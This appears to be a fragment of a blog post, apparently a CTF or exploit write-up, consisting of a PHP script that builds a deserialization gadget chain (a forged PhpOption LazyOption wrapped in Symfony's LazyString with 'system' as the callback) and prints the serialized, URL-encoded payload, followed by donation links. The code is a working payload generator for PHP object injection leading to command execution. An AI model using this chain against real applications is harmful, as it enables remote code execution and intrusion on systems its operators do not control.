namespace PhpOption{
    final class LazyOption{
        public $callback;
        public $arguments;
        public function __construct($callback,$arguments){
            $this->callback=$callback;
            $this->arguments=$arguments;
        }
    }
}
namespace {
    use Symfony\Component\String\LazyString;
    $la = new LazyString([new PhpOption\LazyOption("system",array('')),"get"]);
    echo urlencode(serialize($la));
}

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝